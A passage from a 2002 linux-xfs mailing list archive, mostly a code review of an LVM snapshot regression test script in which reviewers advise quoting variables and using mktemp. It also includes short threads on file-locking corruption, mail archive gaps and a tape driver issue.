] || _notrun "LVM lvcreate utility is not installed" >> [ -x /sbin/lvremove ] || _notrun "LVM lvremove utility is not installed" This assumes where it is installed, but if it works for you, its fine with me. >> > #Verify we have the a lvm enabled kernel >> > # TODO (This assumes lvm is a module. What if it is linked? I don't >> know how to check that. >> > lsmod | grep lvm-mod; >> > if [ $? != 0 ]; then _notrun "This test requires the LVM kernel module >> be present"; fi >> A better approach here would be to grep for lvm in /proc/devices, >> this would work for module/non-module builds. I will ask on the LVM list for a mechanism that works with both LVM 1 and LVM 2 >> > # Mount the LV >> > mkdir /$SCRATCH_MNT > /dev/null 2&>1 >> > mount $VG/scratch /$SCRATCH_MNT >> need the leading '/' here? Gone >> > while [ -f $tmp.running ] >> > do >> > dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null >> 2>&1 >> > rm $SCRATCH_MNT/junk # This forces metadata updates the next >> time around >> > sync >> > done & >> This loop still looks strange to me... (the dd is forever, so why rm >> and sync?)... but possibly its meant to be so. I'm afraid I don't understand your confusion. The full code snippit is: ==== # Create a large 64 Meg zero filled file on the LV dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 #setup an infinite loop to copy the large file, thus generating heavy i/o touch $tmp.running while [ -f $tmp.running ] do dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 rm $SCRATCH_MNT/junk # This forces metadata updates the next time around sync done & === The first dd uses a count arg to create a 64 meg file called dummy. Inside the while loop, I use dd to copy this file to junk. At the end of 64megs, it reaches EOF and terminates. Then I rm junk and do it again. I have used ps to verify that the pid of the dd command changes every few seconds, so I'm confident that it is working as designed. FYI: Apparently the read cache is 64megs or bigger on my test machine because with "iostat -x -d 10" I don't see any read activity during the test. Since this means that the write load is as large as I can make it, I consider that a good thing. >> cheers. >> -- >> Nathan Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 07:14:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 07:14:47 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UEEjtG018990 for ; Fri, 30 Aug 2002 07:14:45 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7UEIFu09479; Fri, 30 Aug 2002 09:18:15 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Steve Lord Cc: linux-xfs@oss.sgi.com, David Duncan In-Reply-To: <1030715530.9148.160.camel@jen.americas.sgi.com> References: <1030711109.9300.7.camel@itspec.amoa.org> <1030715530.9148.160.camel@jen.americas.sgi.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 30 Aug 2002 09:18:14 -0500 Message-Id: <1030717094.9421.2.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 168 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs Hmmm, it may not be file locking. I'm not sure. It could be the ordered access you were talking about but I'm not sure that would get the same kind of corruption that we're seeing. I'll pull the data over to a box with XFS and run with strace? I'm not exactly sure how to test these things. Chris Tooley On Fri, 2002-08-30 at 08:52, Steve Lord wrote: > On Fri, 2002-08-30 at 07:38, Chris Tooley wrote: > > > > Sorry, was out yesterday. The corruption we saw was in the data for the > > application. It's a point of sale application (which I can provide > > access to or simply provide to if someone can help me with it) that uses > > an ISAM database. It appears that 2 or more people are getting the > > write access to the same record at the same time. This doesn't happen > > on ext2, but does on XFS. It would appear to me, and I'll admit I've > > had no sleep for about a week, that it's a file locking issue. In fact > > we're seeing problems where two people will get the same ticket number > > for their sales. This thing gets ticket numbers by autogenerating a > > table row for it and passing the key to the client application. For two > > applications to get the same ticket number they have to look and see > > what the next available number is at the same time. One of them is > > supposed to lock that file during it's write, but that isn't happening. > > Can you confirm for sure that it is using file locking to do this, > saying it works for one filesystem and not another is a little > bizarre since the file locking implementation is above the filesystems > not inside them. A slightly harder question would be is this mandatory > file locking or not? > > Having the issue narrowed down like this is a great help in knowing > where to look. > > Steve > > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 08:57:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 08:57:36 -0700 (PDT) Received: from imf03bis.bellsouth.net (mail203.mail.bellsouth.net [205.152.58.143]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UFvTtG020846 for ; Fri, 30 Aug 2002 08:57:30 -0700 Received: from TAZ2 ([66.156.1.201]) by imf03bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830160241.RDBJ795.imf03bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 12:02:41 -0400 Date: Fri, 30 Aug 2002 11:59:45 -0400 From: Greg Freemyer Subject: re[2]: snapshot regression test try 2 To: Stephen Lord cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830160241.RDBJ795.imf03bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7UFvVtG020847 X-archive-position: 169 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> I have subsequently been chasing oopses from running freeze/thaw >> on a filesystem under heavy load, but that is a different problem >> than you saw I think. Steve, If you can characterize the load, then you can simply replace my dd loop with one that creates the load you need. Maybe that will help. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 09:07:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 09:07:38 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UG7VtG021355 for ; Fri, 30 Aug 2002 09:07:32 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA54029; Fri, 30 Aug 2002 11:11:06 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA98253; Fri, 30 Aug 2002 11:11:05 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7UGAZW20978; Fri, 30 Aug 2002 11:10:35 -0500 Subject: Re: re[2]: snapshot regression test try 2 From: Steve Lord To: Greg Freemyer Cc: xfs mailing list In-Reply-To: <20020830160241.RDBJ795.imf03bis.bellsouth.net@TAZ2> References: <20020830160241.RDBJ795.imf03bis.bellsouth.net@TAZ2> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 30 Aug 2002 11:10:35 -0500 Message-Id: <1030723835.17817.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 170 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-08-30 at 10:59, Greg Freemyer wrote: > > > >> I have subsequently been chasing oopses from running freeze/thaw > >> on a filesystem under heavy load, but that is a different problem > >> than you saw I think. > > Steve, > > If you can characterize the load, then you can simply replace my dd loop with one that creates the load you need. > > Maybe that will help. The load is dbench 32, running a freeze/thaw operation every 10 seconds. No LVM needed here. This appears to expose a hole in the inode create and teardown logic. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 09:53:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 09:53:13 -0700 (PDT) Received: from imf14bis.bellsouth.net (mail114.mail.bellsouth.net [205.152.58.54]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UGr1tG022636 for ; Fri, 30 Aug 2002 09:53:02 -0700 Received: from TAZ2 ([66.156.1.201]) by imf03bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830160818.RHTH795.imf03bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 12:08:18 -0400 Date: Fri, 30 Aug 2002 12:05:22 -0400 From: Greg Freemyer Subject: re[2]: snapshot regression test try 2 To: Ethan Benson , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830160818.RHTH795.imf03bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7UGr7tG022638 X-archive-position: 171 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Ethan, I quote the variables and move to the tmp dir you suggest. BTW: A single request to quote all variable references would have saved you some typing, but I guess you just made comments as you were reviewing the code. Greg >> On Thu, Aug 29, 2002 at 07:23:25PM -0400, Greg Freemyer wrote: >> > >> > Nathan, >> > >> > I have made a second attempt at the script. >> > >> > I think it addresses your concerns. >> now im going to nitpick. >> > Someone still needs to do the TODO items, but they don't come up in my >> environment because $SCRATCH_DEV is a LV for me. >> > >> > Steve Lord has run my previous version to some extent, but I don't know >> if he did it via check, or he just ran the script. >> > >> > Greg Freemyer >> > Internet Engineer >> > Deployment and Integration Specialist >> > Compaq ASE - Tru64 v4, v5 >> > Compaq Master ASE - SAN Architect >> > The Norcross Group >> > www.NorcrossGroup.com >> > >> > ======== 068.out >> > QA output created by 068 >> > SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! >> > Cleanup beginning >> > ======== 068 >> > #! /bin/sh >> > # XFS QA Test No. 068 >> > # $Id: 1.1 $ >> > # >> > # creator >> > owner=freemyer@NorcrossGroup.com >> > >> > seq=`basename $0` >> > echo "QA output created by $seq" >> > >> > here=`pwd` >> > tmp=/tmp/$$ >> very predictable, use tmp=`mktemp -d` || exit 1 >> > status=1 # failure is the default! >> > >> > GENERATE_IO_LOAD=TRUE # If "FALSE", the dd load loop is >> skipped >> > DELAY_BETWEEN_ITERATIONS=10 >> > ITERATIONS=20 >> > VG=/dev/VGscratch >> > #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand, ie. >> check sets these >> > #SCRATCH_MNT=/scratch # Only needed if running by hand, ie. >> check sets these >> > SCRATCH_SNAP_MNT=$tmp.scratch_snap >> quote this: >> SCRATCH_SNAP_MNT="$tmp.scratch_snap" >> > >> > >> > _cleanup() >> > { >> > >> > echo Cleanup beginning >> > >> > rm $tmp.running > /dev/null 2>&1 >> > xfs_freeze -u $SCRATCH_MNT >> quote these variables, you cannot be 100% certain they will not >> contain metacharacters or embedded spaces. >> > sleep 10 # Give the dd loop time to finish >> > >> > # Comment out unless needed. If needed, wrap with logic to >> ensure the FS is mounted >> > #Kill off any other possible stray stragglers that may be out >> there. There should not be any. >> > # fuser -k -m $SCRATCH_SNAP_MNT/dummy >/dev/null 2>&1 >> > # fuser -k -m $SCRATCH_MNT/dummy >/dev/null 2>&1 >> > >> > wait >> > >> > umount $SCRATCH_SNAP_MNT > /dev/null 2>&1 >> > rmdir $SCRATCH_SNAP_MNT > /dev/null 2>&1 >> > umount $SCRATCH_MNT > /dev/null 2>&1 >> > >> > lvremove -f $VG/scratch_snap > /dev/null 2>&1 >> > lvremove -f $VG/scratch > /dev/null 2>&1 >> > >> > #TODO vgremove $VG >> > >> > rm -f $tmp.* # if we ever use tmp files >> quote, see above. >> > trap 0 1 2 3 15 >> > exit $status >> > } >> > >> > trap "_cleanup" 0 1 2 3 15 >> > >> > >> > # get standard environment, filters and checks >> > . ./common.rc >> > . ./common.filter >> > >> > if [ -e $SCRATCH_SNAP_MNT ]; then rm -rf $SCRATCH_SNAP_MNT; fi >> NEVER EVER *EVER* rm -rf a unquoted variable. apple did this in a >> upgrade script and rm -rf'ed / to many users systems. >> > mkdir $SCRATCH_SNAP_MNT >> quote, see above. >> > if [ $LVM = false ]; then _notrun "This test requires the kernel have >> LVM or EVMS present. (The EVMS test is still TBD)."; fi >> quote these variables, if $LVM somehow ends up null you will get a >> shell syntax error. >> > # Mount the LV >> > mkdir $SCRATCH_MNT > /dev/null 2&>1 >> > >> > mount $VG/scratch $SCRATCH_MNT >> > >> > if [ $GENERATE_IO_LOAD != FALSE ]; >> quote all of these, see above. >> > then >> > # Create a large 64 Meg zero filled file on the LV >> > dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 > >> /dev/null 2>&1 >> ditto >> > #setup an infinite loop to copy the large file, thus generating >> heavy i/o >> > >> > touch $tmp.running >> you should put this tmpfile in a secure directory (created by mktemp -d) >> > while [ -f $tmp.running ] >> > do >> > dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > >> /dev/null 2>&1 >> > rm $SCRATCH_MNT/junk # This forces metadata updates >> the next time around >> > sync >> > done & >> > fi >> > >> > ii=1 >> > >> > while [ $ii -le $ITERATIONS ] >> quote, see above >> > do >> > >> > # echo $ii Usefull if your are running interactive, but not >> from the xfs test scripts >> printf "\r$ii" might be better for this. >> > #if the VFS lock patch is present, the calls to xfs_freeze are >> redundant, but should cause no problems >> > # OPTIONAL >> > xfs_freeze -f $SCRATCH_MNT >> quote, see above >> > if [ $? != 0 ] ; then >> > echo xfs_freeze -f $SCRATCH_MNT failed >> > fi >> > ( >> > lvcreate --snapshot --size 1G --name scratch_snap >> $VG/scratch > /dev/null 2>&1 >> > ret=$? >> > if [ $ret != 0 ] ; then >> > echo snapshot creation for $SCRATCH_MNT failed >> with return code $ret >> > fi >> > ) & >> ditto ditto ditto. >> > SNAPSHOT_shell_pid=$! >> > >> > #if the Snapshot has not completed in ten minutes, kill it >> > ( >> > # I have NOT figured out how to kill the sleep >> 600 before it exits naturally. >> > # This does not cause a problem, but it clutters >> the ps table. >> > sleep 600 >> > # The kill $TIMEOUT_shell_pid keeps the below >> from occuring >> > echo Snapshot Lockup Occured on loop $ii >> > xfs_freeze -u $SCRATCH_MNT >> > kill $$ >> > ) & >> > TIMEOUT_shell_pid=$! >> > >> > wait $SNAPSHOT_shell_pid >> > >> > exec 2> /dev/null # Send the shells stderr to >> /dev/null >> > kill $TIMEOUT_shell_pid #Cancel the timeout >> > wait $TIMEOUT_shell_pid # This causes consistent shell >> notification for some unknow reason >> > exec 2>&1 # Put it back to the same as >> stdout >> > >> > #if the VFS lock patch is present, the calls to xfs_freeze are >> redundant, but should cause no problems >> > # OPTIONAL >> > xfs_freeze -u $SCRATCH_MNT >> > if [ $? != 0 ] ; then >> > echo xfs_freeze -u $SCRATCH_MNT failed >> > fi >> > # MANDANTORY (end) >> > >> > mount -t xfs -o ro,nouuid $VG/scratch_snap $SCRATCH_SNAP_MNT >> > if [ $? != 0 ] ; then >> > echo mount for $SCRATCH_SNAP_MNT failed >> > fi >> > umount $SCRATCH_SNAP_MNT >> > if [ $? != 0 ] ; then >> > echo umount for $SCRATCH_SNAP_MNT failed >> > fi >> > lvremove -f $VG/scratch_snap > /dev/null 2>&1 >> > if [ $? != 0 ] ; then >> > echo lvremove for $VG/scratch_snap failed >> > fi >> > >> > ii=`expr $ii + 1` >> > sleep $DELAY_BETWEEN_ITERATIONS # The VG seems to need time to >> stabalize between snapshots >> > # With LVM 1.0.3 and XFS 1.1, I have tried this >> at 3600 seconds and still had failures >> > >> > done >> see above, much more quoting. >> > # success, all done >> > echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! >> > status=0 >> > _cleanup >> > exit 1 # _cleanup should exit, so we should never get here. >> > >> you can argue that im being pedantic and the lack of quoting will >> probably not matter in this script, but in some cases its just too >> dangerous not to. proper quoting will make your script much more >> solid and less prone to screwy behavior. also you should never assume >> that there are not hostile users messing with /tmp. >> -- >> Ethan Benson >> http://www.alaska.net/~erbenson/ >> -- Attached file included as plaintext by Ecartis -- >> -----BEGIN PGP SIGNATURE----- >> Version: GnuPG v1.0.6 (GNU/Linux) >> Comment: For info see http://www.gnupg.org >> iEYEARECAAYFAj1vHkMACgkQJKx7GixEevweJgCfdNs2BVhZcg6MUzOazlVrJlXa >> A90AnjhtygOAx/NN9gbrI2LSuwUCnDVj >> =LWj5 >> -----END PGP SIGNATURE----- Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 12:22:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 12:22:32 -0700 (PDT) Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UJMStG026098 for ; Fri, 30 Aug 2002 12:22:28 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7UJQ9p01847 for ; Fri, 30 Aug 2002 13:26:09 -0600 Date: Fri, 30 Aug 2002 13:26:09 -0600 (MDT) From: James Rich To: linux-xfs@oss.sgi.com Subject: Missing bodies of messages in mail archive Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 172 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james@stumpy.chowhouse.com Precedence: bulk X-list: linux-xfs Sometimes the message body of messages in the mail archives is missing. At least some of the TAKE messages don't work: http://linux-xfs.sgi.com/projects/xfs/mail_archive/200208/msg00546.html http://linux-xfs.sgi.com/projects/xfs/mail_archive/200208/msg00544.html http://linux-xfs.sgi.com/projects/xfs/mail_archive/200208/msg00518.html Anyone know why? James Rich From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:16:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:16:53 -0700 (PDT) Received: from imf08bis.bellsouth.net (mail108.mail.bellsouth.net [205.152.58.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULGltG027259 for ; Fri, 30 Aug 2002 14:16:47 -0700 Received: from TAZ2 ([66.156.1.201]) by imf08bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 17:22:01 -0400 Date: Fri, 30 Aug 2002 17:19:04 -0400 From: Greg Freemyer Subject: re[2]: snapshot regression test try 2 To: Ethan Benson , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7ULGmtG027260 X-archive-position: 173 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> > tmp=/tmp/$$ >> very predictable, use tmp=`mktemp -d` || exit 1 Someone with SGI, Ethan has recommended the above change to my script. It is easy enough to do. As a matter of fact I have already done it. Every other script in xfstests uses the tmp=/tmp/$$ as a prefix for temp files. Ethan's recommendation is to use a unique directory and place temporary files in the directory. I can see where Ethan's suggestion is better, but for consistency sake it may be better to put it back the way it was. Please advise. Greg From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:33:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:33:21 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULX7tG028490 for ; Fri, 30 Aug 2002 14:33:07 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA56542; Fri, 30 Aug 2002 16:36:43 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA30326; Fri, 30 Aug 2002 16:36:43 -0500 (CDT) Subject: Re: re[2]: snapshot regression test try 2 From: Eric Sandeen To: Greg Freemyer Cc: Ethan Benson , xfs mailing list In-Reply-To: <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2> References: <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 30 Aug 2002 16:34:23 -0500 Message-Id: <1030743264.3923.18.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 174 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Greg - Ethan's is more correct, don't worry about consistency. Either is fine. A couple other suggestions: (did you know what you were signing up for here?) :) Rather than using SCRATCH_DEV for the LVM tests, we probably would need a new SCRATCH_LVM_DEV since they need to be different partition types. I doubt that we want to try to change partition types on the fly. :) Also, if you want to use something other than "dd" to generate fs activity, you could use something like fsstress, which is part of the xfstest suite. -Eric On Fri, 2002-08-30 at 16:19, Greg Freemyer wrote: > > >> > tmp=/tmp/$$ > > >> very predictable, use tmp=`mktemp -d` || exit 1 > > Someone with SGI, > > Ethan has recommended the above change to my script. It is easy enough to do. As a matter of fact I have already done it. > > Every other script in xfstests uses the tmp=/tmp/$$ as a prefix for temp files. > > Ethan's recommendation is to use a unique directory and place temporary files in the directory. > > I can see where Ethan's suggestion is better, but for consistency sake it may be better to put it back the way it was. > > Please advise. > > Greg > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:34:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:34:15 -0700 (PDT) Received: from imf06bis.bellsouth.net (mail006.mail.bellsouth.net [205.152.58.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULYDtG028693 for ; Fri, 30 Aug 2002 14:34:13 -0700 Received: from TAZ2 ([66.156.1.201]) by imf06bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830213927.JHR2736.imf06bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 17:39:27 -0400 Date: Fri, 30 Aug 2002 17:36:29 -0400 From: Greg Freemyer Subject: re[4]: snapshot regression test try 2 To: Steve Lord cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830213927.JHR2736.imf06bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7ULYDtG028695 X-archive-position: 175 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Steve, I have compiled the CVS kernel from xfs, and have tried my snapshot script on it. It has successfully done 20 iterations. (this is a first for me.) Not only did it succeed at this, but the time to perform an iteration dropped drastically from using my prior kernel. i.e. It typically took a couple of minutes per iteration to take the snapshot/mount it/unmount it/delete it. Now it is taking around 10 seconds. I have changed the iteration counter to 10,000 and I'm going to let it run over the long weekend. Hopefully we will have a success with this pure xfs cvs kernel. Greg >> On Fri, 2002-08-30 at 10:59, Greg Freemyer wrote: >> > >> > >> > >> I have subsequently been chasing oopses from running freeze/thaw >> > >> on a filesystem under heavy load, but that is a different problem >> > >> than you saw I think. >> > >> > Steve, >> > >> > If you can characterize the load, then you can simply replace my dd loop >> with one that creates the load you need. >> > >> > Maybe that will help. >> The load is dbench 32, running a freeze/thaw operation every 10 seconds. >> No LVM needed here. This appears to expose a hole in the inode create >> and teardown logic. >> Steve >> -- >> Steve Lord voice: +1-651-683-3511 >> Principal Engineer, Filesystem Software email: lord@sgi.com Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Grou www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:40:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:40:05 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULe2tG029430 for ; Fri, 30 Aug 2002 14:40:03 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA56260; Fri, 30 Aug 2002 16:43:40 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA71036; Fri, 30 Aug 2002 16:43:39 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7ULh7S30190; Fri, 30 Aug 2002 16:43:07 -0500 Subject: Re: re[4]: snapshot regression test try 2 From: Steve Lord To: Greg Freemyer Cc: xfs mailing list In-Reply-To: <20020830213927.JHR2736.imf06bis.bellsouth.net@TAZ2> References: <20020830213927.JHR2736.imf06bis.bellsouth.net@TAZ2> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 30 Aug 2002 16:43:07 -0500 Message-Id: <1030743787.17817.21.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 176 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-08-30 at 16:36, Greg Freemyer wrote: > > Steve, > > I have compiled the CVS kernel from xfs, and have tried my snapshot script on it. > > It has successfully done 20 iterations. (this is a first for me.) > > Not only did it succeed at this, but the time to perform an iteration dropped drastically from using my prior kernel. > > i.e. It typically took a couple of minutes per iteration to take the snapshot/mount it/unmount it/delete it. Now it is taking around 10 seconds. > > I have changed the iteration counter to 10,000 and I'm going to let it run over the long weekend. > > Hopefully we will have a success with this pure xfs cvs kernel. See, its not our fault ;-), maybe Andrea needs to run xfs tests on his kernels.... actually his code is pretty old now. Christoph may be giving him some new code. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:44:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:44:16 -0700 (PDT) Received: from ns1.seismiccity.com (65-67-23-1.motorskillasia.com [65.67.23.1] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULiCtG029905 for ; Fri, 30 Aug 2002 14:44:13 -0700 Received: from webmail.seismiccity.com by ns1.seismiccity.com via smtpd (for oss.SGI.COM [128.167.58.27]) with SMTP; 30 Aug 2002 21:48:01 UT Received: from seismiccity.com (IDENT:cpignol@webmail.seismiccity.com [192.168.0.9]) by webmail.seismiccity.com (8.9.3/8.9.3) with ESMTP id QAA24522 for ; Fri, 30 Aug 2002 16:47:59 -0500 Message-ID: <3D6FE80F.1090507@seismiccity.com> Date: Fri, 30 Aug 2002 16:47:59 -0500 From: Claude Pignol Organization: SeismicCity, Inc. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: st driver Content-Disposition: inline Content-type: text/plain Content-Transfer-Encoding: 8bit Content-length: 631 X-archive-position: 177 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cpignol@seismiccity.com Precedence: bulk X-list: linux-xfs Hi, I have a machine (2 CPUs/4GB memory) running 2.4.9-31SGI_XFS_1.0.2smp The module for the tape driver st.o seems not to work properly Tape drive DLT 8000 Ex mt -f /dev/st0 fsf 1 didn't skip to the next file. or a dd to read some blocks from 